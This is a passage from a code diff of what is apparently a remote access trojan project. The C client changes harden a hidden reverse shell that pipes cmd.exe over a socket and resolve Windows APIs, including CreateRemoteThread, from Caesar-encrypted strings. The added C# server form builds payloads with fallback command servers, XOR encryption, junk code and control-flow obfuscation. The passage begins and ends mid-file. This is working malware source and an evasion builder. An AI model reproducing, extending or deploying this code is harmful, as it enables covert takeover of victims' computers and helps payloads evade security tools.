|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
SendShellEndedSignal(sock);
|
SendShellEndedSignal(sock);
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
goto retry;
|
goto retry;
|
||||||
}
|
}
|
||||||
if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) {
|
if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) {
|
||||||
|
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
SendShellEndedSignal(sock);
|
SendShellEndedSignal(sock);
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
goto retry;
|
goto retry;
|
||||||
@@ -463,6 +492,14 @@ retry:
|
|||||||
// Create a thread to read from the pipes and write to the socket
|
// Create a thread to read from the pipes and write to the socket
|
||||||
HANDLE hThread = Api.CreateThread(NULL, 0, &redirect_i_thread, (LPVOID)sock, 0, NULL);
|
HANDLE hThread = Api.CreateThread(NULL, 0, &redirect_i_thread, (LPVOID)sock, 0, NULL);
|
||||||
HANDLE hThread2 = Api.CreateThread(NULL, 0, &redirect_o_thread, (LPVOID)sock, 0, NULL);
|
HANDLE hThread2 = Api.CreateThread(NULL, 0, &redirect_o_thread, (LPVOID)sock, 0, NULL);
|
||||||
|
if (hThread == NULL || hThread2 == NULL) {
|
||||||
|
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
||||||
|
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
|
SendShellEndedSignal(sock);
|
||||||
|
Sleep_(Sleep_TIME);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
// Create the process
|
// Create the process
|
||||||
STARTUPINFO si;
|
STARTUPINFO si;
|
||||||
@@ -477,6 +514,7 @@ retry:
|
|||||||
memset_(&pi, 0, sizeof(PROCESS_INFORMATION));
|
memset_(&pi, 0, sizeof(PROCESS_INFORMATION));
|
||||||
|
|
||||||
if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe
|
if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe
|
||||||
|
Api.send(sock, "fail", strlen("fail"), 0);
|
||||||
SendShellEndedSignal(sock);
|
SendShellEndedSignal(sock);
|
||||||
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
||||||
Api.CloseHandle(g_hChildStd_IN_Rd);
|
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||||
@@ -497,6 +535,31 @@ retry:
|
|||||||
watch_process_args args = { sock, pi.hProcess };
|
watch_process_args args = { sock, pi.hProcess };
|
||||||
HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL);
|
HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL);
|
||||||
|
|
||||||
|
if (started == 0) {
|
||||||
|
SendShellEndedSignal(sock);
|
||||||
|
|
||||||
|
Api.TerminateProcess(pi.hProcess, 0);
|
||||||
|
Api.CloseHandle(pi.hProcess);
|
||||||
|
Api.CloseHandle(pi.hThread);
|
||||||
|
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
||||||
|
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||||
|
g_hChildStd_OUT_Wr = NULL;
|
||||||
|
g_hChildStd_IN_Rd = NULL;
|
||||||
|
|
||||||
|
if (hThread != NULL) {
|
||||||
|
Api.TerminateThread(hThread, 0);
|
||||||
|
Api.CloseHandle(hThread);
|
||||||
|
}
|
||||||
|
if (hThread2 != NULL) {
|
||||||
|
Api.TerminateThread(hThread2, 0);
|
||||||
|
Api.CloseHandle(hThread2);
|
||||||
|
}
|
||||||
|
if (hThread3 != NULL) {
|
||||||
|
Api.TerminateThread(hThread3, 0);
|
||||||
|
Api.CloseHandle(hThread3);
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// Wait for the process to finish
|
// Wait for the process to finish
|
||||||
Api.WaitForSingleObject(pi.hProcess, INFINITE);
|
Api.WaitForSingleObject(pi.hProcess, INFINITE);
|
||||||
|
|
||||||
@@ -507,6 +570,8 @@ retry:
|
|||||||
Api.CloseHandle(pi.hThread);
|
Api.CloseHandle(pi.hThread);
|
||||||
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
Api.CloseHandle(g_hChildStd_OUT_Wr);
|
||||||
Api.CloseHandle(g_hChildStd_IN_Rd);
|
Api.CloseHandle(g_hChildStd_IN_Rd);
|
||||||
|
g_hChildStd_OUT_Wr = NULL;
|
||||||
|
g_hChildStd_IN_Rd = NULL;
|
||||||
|
|
||||||
if (hThread != NULL) {
|
if (hThread != NULL) {
|
||||||
Api.TerminateThread(hThread, 0);
|
Api.TerminateThread(hThread, 0);
|
||||||
|
|||||||
@@ -19,6 +19,8 @@ void InitApis() {
|
|||||||
|
|
||||||
Api.GetProcAddress = (TGetProcAddress)my_GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
Api.GetProcAddress = (TGetProcAddress)my_GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
||||||
Api.LoadLibraryA = (TLoadLibraryA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("QtfiQngwfw~F"));
|
Api.LoadLibraryA = (TLoadLibraryA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("QtfiQngwfw~F"));
|
||||||
|
Api.PeekNamedPipe = (TPeekNamedPipe)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("UjjpSfrjiUnuj"));
|
||||||
|
Api.GetFileAttributesW = (TGetFileAttributesW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyKnqjFyywngzyjx\\"));
|
||||||
Api.CreateRemoteThread = (TCreateRemoteThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjWjrtyjYmwjfi"));
|
Api.CreateRemoteThread = (TCreateRemoteThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjWjrtyjYmwjfi"));
|
||||||
Api.CreateProcessA = (TCreateProcessA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxxF"));
|
Api.CreateProcessA = (TCreateProcessA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxxF"));
|
||||||
Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF"));
|
Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF"));
|
||||||
|
|||||||
@@ -32,6 +32,7 @@ typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int);
|
|||||||
typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR);
|
typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR);
|
||||||
typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR);
|
typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR);
|
||||||
|
|
||||||
|
typedef DWORD(WINAPI* TGetFileAttributesW)(LPCWSTR);
|
||||||
typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||||
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
@@ -45,6 +46,7 @@ typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD);
|
|||||||
typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||||
typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
|
typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
|
||||||
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
||||||
|
typedef BOOL(WINAPI* TPeekNamedPipe)(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage);
|
||||||
typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||||
typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||||
typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||||
@@ -76,6 +78,8 @@ typedef struct ApiList {
|
|||||||
Tselect select;
|
Tselect select;
|
||||||
Tsetsockopt setsockopt;
|
Tsetsockopt setsockopt;
|
||||||
|
|
||||||
|
TGetFileAttributesW GetFileAttributesW;
|
||||||
|
TPeekNamedPipe PeekNamedPipe;
|
||||||
TLoadLibraryA LoadLibraryA;
|
TLoadLibraryA LoadLibraryA;
|
||||||
TCreateFileA CreateFileA;
|
TCreateFileA CreateFileA;
|
||||||
TCreateProcessA CreateProcessA;
|
TCreateProcessA CreateProcessA;
|
||||||
|
|||||||
6
Server/App.config
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8" ?>
|
||||||
|
<configuration>
|
||||||
|
<startup>
|
||||||
|
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
|
||||||
|
</startup>
|
||||||
|
</configuration>
|
||||||
364
Server/BuildMenu.Designer.cs
generated
Normal file
@@ -0,0 +1,364 @@
|
|||||||
|
namespace Server
|
||||||
|
{
|
||||||
|
partial class BuildMenu
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Required designer variable.
|
||||||
|
/// </summary>
|
||||||
|
private System.ComponentModel.IContainer components = null;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clean up any resources being used.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing && (components != null))
|
||||||
|
{
|
||||||
|
components.Dispose();
|
||||||
|
}
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
|
||||||
|
#region Windows Form Designer generated code
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Required method for Designer support - do not modify
|
||||||
|
/// the contents of this method with the code editor.
|
||||||
|
/// </summary>
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.components = new System.ComponentModel.Container();
|
||||||
|
this.Hosts = new System.Windows.Forms.ListBox();
|
||||||
|
this.textBox1 = new System.Windows.Forms.TextBox();
|
||||||
|
this.label1 = new System.Windows.Forms.Label();
|
||||||
|
this.label2 = new System.Windows.Forms.Label();
|
||||||
|
this.button1 = new System.Windows.Forms.Button();
|
||||||
|
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||||
|
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.label3 = new System.Windows.Forms.Label();
|
||||||
|
this.checkBox1 = new System.Windows.Forms.CheckBox();
|
||||||
|
this.checkBox2 = new System.Windows.Forms.CheckBox();
|
||||||
|
this.label4 = new System.Windows.Forms.Label();
|
||||||
|
this.textBox2 = new System.Windows.Forms.TextBox();
|
||||||
|
this.checkBox3 = new System.Windows.Forms.CheckBox();
|
||||||
|
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
|
||||||
|
this.label5 = new System.Windows.Forms.Label();
|
||||||
|
this.checkBox4 = new System.Windows.Forms.CheckBox();
|
||||||
|
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
|
||||||
|
this.label6 = new System.Windows.Forms.Label();
|
||||||
|
this.button2 = new System.Windows.Forms.Button();
|
||||||
|
this.label7 = new System.Windows.Forms.Label();
|
||||||
|
this.label8 = new System.Windows.Forms.Label();
|
||||||
|
this.button3 = new System.Windows.Forms.Button();
|
||||||
|
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
||||||
|
this.label9 = new System.Windows.Forms.Label();
|
||||||
|
this.contextMenuStrip1.SuspendLayout();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||||
|
this.SuspendLayout();
|
||||||
|
//
|
||||||
|
// Hosts
|
||||||
|
//
|
||||||
|
this.Hosts.FormattingEnabled = true;
|
||||||
|
this.Hosts.Location = new System.Drawing.Point(12, 24);
|
||||||
|
this.Hosts.Name = "Hosts";
|
||||||
|
this.Hosts.Size = new System.Drawing.Size(145, 121);
|
||||||
|
this.Hosts.TabIndex = 0;
|
||||||
|
this.Hosts.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Hosts_MouseDown);
|
||||||
|
//
|
||||||
|
// textBox1
|
||||||
|
//
|
||||||
|
this.textBox1.Location = new System.Drawing.Point(232, 58);
|
||||||
|
this.textBox1.Name = "textBox1";
|
||||||
|
this.textBox1.Size = new System.Drawing.Size(116, 20);
|
||||||
|
this.textBox1.TabIndex = 1;
|
||||||
|
//
|
||||||
|
// label1
|
||||||
|
//
|
||||||
|
this.label1.AutoSize = true;
|
||||||
|
this.label1.Location = new System.Drawing.Point(165, 61);
|
||||||
|
this.label1.Name = "label1";
|
||||||
|
this.label1.Size = new System.Drawing.Size(61, 13);
|
||||||
|
this.label1.TabIndex = 2;
|
||||||
|
this.label1.Text = "IP Address:";
|
||||||
|
//
|
||||||
|
// label2
|
||||||
|
//
|
||||||
|
this.label2.AutoSize = true;
|
||||||
|
this.label2.Location = new System.Drawing.Point(9, 8);
|
||||||
|
this.label2.Name = "label2";
|
||||||
|
this.label2.Size = new System.Drawing.Size(84, 13);
|
||||||
|
this.label2.TabIndex = 3;
|
||||||
|
this.label2.Text = "Fallback servers";
|
||||||
|
//
|
||||||
|
// button1
|
||||||
|
//
|
||||||
|
this.button1.Location = new System.Drawing.Point(209, 89);
|
||||||
|
this.button1.Name = "button1";
|
||||||
|
this.button1.Size = new System.Drawing.Size(75, 23);
|
||||||
|
this.button1.TabIndex = 4;
|
||||||
|
this.button1.Text = "Add host";
|
||||||
|
this.button1.UseVisualStyleBackColor = true;
|
||||||
|
this.button1.Click += new System.EventHandler(this.button1_Click);
|
||||||
|
//
|
||||||
|
// contextMenuStrip1
|
||||||
|
//
|
||||||
|
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
this.deleteToolStripMenuItem});
|
||||||
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||||
|
this.contextMenuStrip1.Size = new System.Drawing.Size(108, 26);
|
||||||
|
//
|
||||||
|
// deleteToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.deleteToolStripMenuItem.Image = global::Server.Properties.Resources.delete;
|
||||||
|
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
|
||||||
|
this.deleteToolStripMenuItem.Size = new System.Drawing.Size(107, 22);
|
||||||
|
this.deleteToolStripMenuItem.Text = "Delete";
|
||||||
|
this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// label3
|
||||||
|
//
|
||||||
|
this.label3.AutoSize = true;
|
||||||
|
this.label3.Location = new System.Drawing.Point(9, 166);
|
||||||
|
this.label3.Name = "label3";
|
||||||
|
this.label3.Size = new System.Drawing.Size(72, 13);
|
||||||
|
this.label3.TabIndex = 6;
|
||||||
|
this.label3.Text = "patate crypter";
|
||||||
|
//
|
||||||
|
// checkBox1
|
||||||
|
//
|
||||||
|
this.checkBox1.AutoSize = true;
|
||||||
|
this.checkBox1.Location = new System.Drawing.Point(83, 193);
|
||||||
|
this.checkBox1.Name = "checkBox1";
|
||||||
|
this.checkBox1.Size = new System.Drawing.Size(113, 17);
|
||||||
|
this.checkBox1.TabIndex = 8;
|
||||||
|
this.checkBox1.Text = "Use patate crypter";
|
||||||
|
this.checkBox1.UseVisualStyleBackColor = true;
|
||||||
|
this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged);
|
||||||
|
//
|
||||||
|
// checkBox2
|
||||||
|
//
|
||||||
|
this.checkBox2.AutoSize = true;
|
||||||
|
this.checkBox2.Enabled = false;
|
||||||
|
this.checkBox2.Location = new System.Drawing.Point(83, 233);
|
||||||
|
this.checkBox2.Name = "checkBox2";
|
||||||
|
this.checkBox2.Size = new System.Drawing.Size(88, 17);
|
||||||
|
this.checkBox2.TabIndex = 9;
|
||||||
|
this.checkBox2.Text = "XOR Encrypt";
|
||||||
|
this.checkBox2.UseVisualStyleBackColor = true;
|
||||||
|
this.checkBox2.CheckedChanged += new System.EventHandler(this.checkBox2_CheckedChanged);
|
||||||
|
//
|
||||||
|
// label4
|
||||||
|
//
|
||||||
|
this.label4.AutoSize = true;
|
||||||
|
this.label4.Enabled = false;
|
||||||
|
this.label4.Location = new System.Drawing.Point(235, 223);
|
||||||
|
this.label4.Name = "label4";
|
||||||
|
this.label4.Size = new System.Drawing.Size(25, 13);
|
||||||
|
this.label4.TabIndex = 10;
|
||||||
|
this.label4.Text = "Key";
|
||||||
|
//
|
||||||
|
// textBox2
|
||||||
|
//
|
||||||
|
this.textBox2.Enabled = false;
|
||||||
|
this.textBox2.Location = new System.Drawing.Point(197, 240);
|
||||||
|
this.textBox2.Name = "textBox2";
|
||||||
|
this.textBox2.Size = new System.Drawing.Size(100, 20);
|
||||||
|
this.textBox2.TabIndex = 11;
|
||||||
|
//
|
||||||
|
// checkBox3
|
||||||
|
//
|
||||||
|
this.checkBox3.AutoSize = true;
|
||||||
|
this.checkBox3.Enabled = false;
|
||||||
|
this.checkBox3.Location = new System.Drawing.Point(83, 271);
|
||||||
|
this.checkBox3.Name = "checkBox3";
|
||||||
|
this.checkBox3.Size = new System.Drawing.Size(95, 17);
|
||||||
|
this.checkBox3.TabIndex = 12;
|
||||||
|
this.checkBox3.Text = "Add junk code";
|
||||||
|
this.checkBox3.UseVisualStyleBackColor = true;
|
||||||
|
this.checkBox3.CheckedChanged += new System.EventHandler(this.checkBox3_CheckedChanged);
|
||||||
|
//
|
||||||
|
// numericUpDown1
|
||||||
|
//
|
||||||
|
this.numericUpDown1.Enabled = false;
|
||||||
|
this.numericUpDown1.Location = new System.Drawing.Point(234, 270);
|
||||||
|
this.numericUpDown1.Name = "numericUpDown1";
|
||||||
|
this.numericUpDown1.Size = new System.Drawing.Size(41, 20);
|
||||||
|
this.numericUpDown1.TabIndex = 13;
|
||||||
|
this.numericUpDown1.Value = new decimal(new int[] {
|
||||||
|
2,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0});
|
||||||
|
//
|
||||||
|
// label5
|
||||||
|
//
|
||||||
|
this.label5.AutoSize = true;
|
||||||
|
this.label5.Enabled = false;
|
||||||
|
this.label5.Location = new System.Drawing.Point(192, 272);
|
||||||
|
this.label5.Name = "label5";
|
||||||
|
this.label5.Size = new System.Drawing.Size(36, 13);
|
||||||
|
this.label5.TabIndex = 14;
|
||||||
|
this.label5.Text = "Pass :";
|
||||||
|
//
|
||||||
|
// checkBox4
|
||||||
|
//
|
||||||
|
this.checkBox4.AutoSize = true;
|
||||||
|
this.checkBox4.Enabled = false;
|
||||||
|
this.checkBox4.Location = new System.Drawing.Point(83, 298);
|
||||||
|
this.checkBox4.Name = "checkBox4";
|
||||||
|
this.checkBox4.Size = new System.Drawing.Size(81, 17);
|
||||||
|
this.checkBox4.TabIndex = 15;
|
||||||
|
this.checkBox4.Text = "Control flow";
|
||||||
|
this.checkBox4.UseVisualStyleBackColor = true;
|
||||||
|
this.checkBox4.CheckedChanged += new System.EventHandler(this.checkBox4_CheckedChanged);
|
||||||
|
//
|
||||||
|
// numericUpDown2
|
||||||
|
//
|
||||||
|
this.numericUpDown2.Enabled = false;
|
||||||
|
this.numericUpDown2.Location = new System.Drawing.Point(234, 297);
|
||||||
|
this.numericUpDown2.Name = "numericUpDown2";
|
||||||
|
this.numericUpDown2.Size = new System.Drawing.Size(41, 20);
|
||||||
|
this.numericUpDown2.TabIndex = 16;
|
||||||
|
this.numericUpDown2.Value = new decimal(new int[] {
|
||||||
|
8,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0});
|
||||||
|
//
|
||||||
|
// label6
|
||||||
|
//
|
||||||
|
this.label6.AutoSize = true;
|
||||||
|
this.label6.Enabled = false;
|
||||||
|
this.label6.Location = new System.Drawing.Point(192, 299);
|
||||||
|
this.label6.Name = "label6";
|
||||||
|
this.label6.Size = new System.Drawing.Size(36, 13);
|
||||||
|
this.label6.TabIndex = 17;
|
||||||
|
this.label6.Text = "Pass :";
|
||||||
|
//
|
||||||
|
// button2
|
||||||
|
//
|
||||||
|
this.button2.Enabled = false;
|
||||||
|
this.button2.Location = new System.Drawing.Point(81, 415);
|
||||||
|
this.button2.Name = "button2";
|
||||||
|
this.button2.Size = new System.Drawing.Size(213, 38);
|
||||||
|
this.button2.TabIndex = 18;
|
||||||
|
this.button2.Text = "Build";
|
||||||
|
this.button2.UseVisualStyleBackColor = true;
|
||||||
|
this.button2.Click += new System.EventHandler(this.button2_Click);
|
||||||
|
//
|
||||||
|
// label7
|
||||||
|
//
|
||||||
|
this.label7.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
|
||||||
|
this.label7.Location = new System.Drawing.Point(93, 15);
|
||||||
|
this.label7.Name = "label7";
|
||||||
|
this.label7.Size = new System.Drawing.Size(254, 2);
|
||||||
|
this.label7.TabIndex = 19;
|
||||||
|
//
|
||||||
|
// label8
|
||||||
|
//
|
||||||
|
this.label8.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
|
||||||
|
this.label8.Location = new System.Drawing.Point(83, 174);
|
||||||
|
this.label8.Name = "label8";
|
||||||
|
this.label8.Size = new System.Drawing.Size(263, 2);
|
||||||
|
this.label8.TabIndex = 20;
|
||||||
|
//
|
||||||
|
// button3
|
||||||
|
//
|
||||||
|
this.button3.Enabled = false;
|
||||||
|
this.button3.Location = new System.Drawing.Point(83, 354);
|
||||||
|
this.button3.Name = "button3";
|
||||||
|
this.button3.Size = new System.Drawing.Size(75, 23);
|
||||||
|
this.button3.TabIndex = 21;
|
||||||
|
this.button3.Text = "Select icon";
|
||||||
|
this.button3.UseVisualStyleBackColor = true;
|
||||||
|
this.button3.Click += new System.EventHandler(this.button3_Click);
|
||||||
|
//
|
||||||
|
// pictureBox1
|
||||||
|
//
|
||||||
|
this.pictureBox1.BackColor = System.Drawing.SystemColors.AppWorkspace;
|
||||||
|
this.pictureBox1.Location = new System.Drawing.Point(195, 332);
|
||||||
|
this.pictureBox1.Name = "pictureBox1";
|
||||||
|
this.pictureBox1.Size = new System.Drawing.Size(65, 65);
|
||||||
|
this.pictureBox1.TabIndex = 22;
|
||||||
|
this.pictureBox1.TabStop = false;
|
||||||
|
//
|
||||||
|
// label9
|
||||||
|
//
|
||||||
|
this.label9.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
|
||||||
|
this.label9.Location = new System.Drawing.Point(20, 407);
|
||||||
|
this.label9.Name = "label9";
|
||||||
|
this.label9.Size = new System.Drawing.Size(325, 2);
|
||||||
|
this.label9.TabIndex = 23;
|
||||||
|
//
|
||||||
|
// BuildMenu
|
||||||
|
//
|
||||||
|
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||||
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
|
this.ClientSize = new System.Drawing.Size(355, 465);
|
||||||
|
this.Controls.Add(this.label9);
|
||||||
|
this.Controls.Add(this.pictureBox1);
|
||||||
|
this.Controls.Add(this.button3);
|
||||||
|
this.Controls.Add(this.label8);
|
||||||
|
this.Controls.Add(this.label7);
|
||||||
|
this.Controls.Add(this.button2);
|
||||||
|
this.Controls.Add(this.label6);
|
||||||
|
this.Controls.Add(this.numericUpDown2);
|
||||||
|
this.Controls.Add(this.checkBox4);
|
||||||
|
this.Controls.Add(this.label5);
|
||||||
|
this.Controls.Add(this.numericUpDown1);
|
||||||
|
this.Controls.Add(this.checkBox3);
|
||||||
|
this.Controls.Add(this.textBox2);
|
||||||
|
this.Controls.Add(this.label4);
|
||||||
|
this.Controls.Add(this.checkBox2);
|
||||||
|
this.Controls.Add(this.checkBox1);
|
||||||
|
this.Controls.Add(this.label3);
|
||||||
|
this.Controls.Add(this.button1);
|
||||||
|
this.Controls.Add(this.label2);
|
||||||
|
this.Controls.Add(this.label1);
|
||||||
|
this.Controls.Add(this.textBox1);
|
||||||
|
this.Controls.Add(this.Hosts);
|
||||||
|
this.MinimumSize = new System.Drawing.Size(371, 430);
|
||||||
|
this.Name = "BuildMenu";
|
||||||
|
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
|
||||||
|
this.Text = "Build a payload";
|
||||||
|
this.Load += new System.EventHandler(this.BuildMenu_Load);
|
||||||
|
this.contextMenuStrip1.ResumeLayout(false);
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
this.PerformLayout();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
private System.Windows.Forms.ListBox Hosts;
|
||||||
|
private System.Windows.Forms.TextBox textBox1;
|
||||||
|
private System.Windows.Forms.Label label1;
|
||||||
|
private System.Windows.Forms.Label label2;
|
||||||
|
private System.Windows.Forms.Button button1;
|
||||||
|
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.Label label3;
|
||||||
|
private System.Windows.Forms.CheckBox checkBox1;
|
||||||
|
private System.Windows.Forms.CheckBox checkBox2;
|
||||||
|
private System.Windows.Forms.Label label4;
|
||||||
|
private System.Windows.Forms.TextBox textBox2;
|
||||||
|
private System.Windows.Forms.CheckBox checkBox3;
|
||||||
|
private System.Windows.Forms.NumericUpDown numericUpDown1;
|
||||||
|
private System.Windows.Forms.Label label5;
|
||||||
|
private System.Windows.Forms.CheckBox checkBox4;
|
||||||
|
private System.Windows.Forms.NumericUpDown numericUpDown2;
|
||||||
|
private System.Windows.Forms.Label label6;
|
||||||
|
private System.Windows.Forms.Button button2;
|
||||||
|
private System.Windows.Forms.Label label7;
|
||||||
|
private System.Windows.Forms.Label label8;
|
||||||
|
private System.Windows.Forms.Button button3;
|
||||||
|
private System.Windows.Forms.PictureBox pictureBox1;
|
||||||
|
private System.Windows.Forms.Label label9;
|
||||||
|
}
|
||||||
|
}
|
||||||
179
Server/BuildMenu.cs
Normal file
@@ -0,0 +1,179 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Data;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using System.Windows.Forms;
|
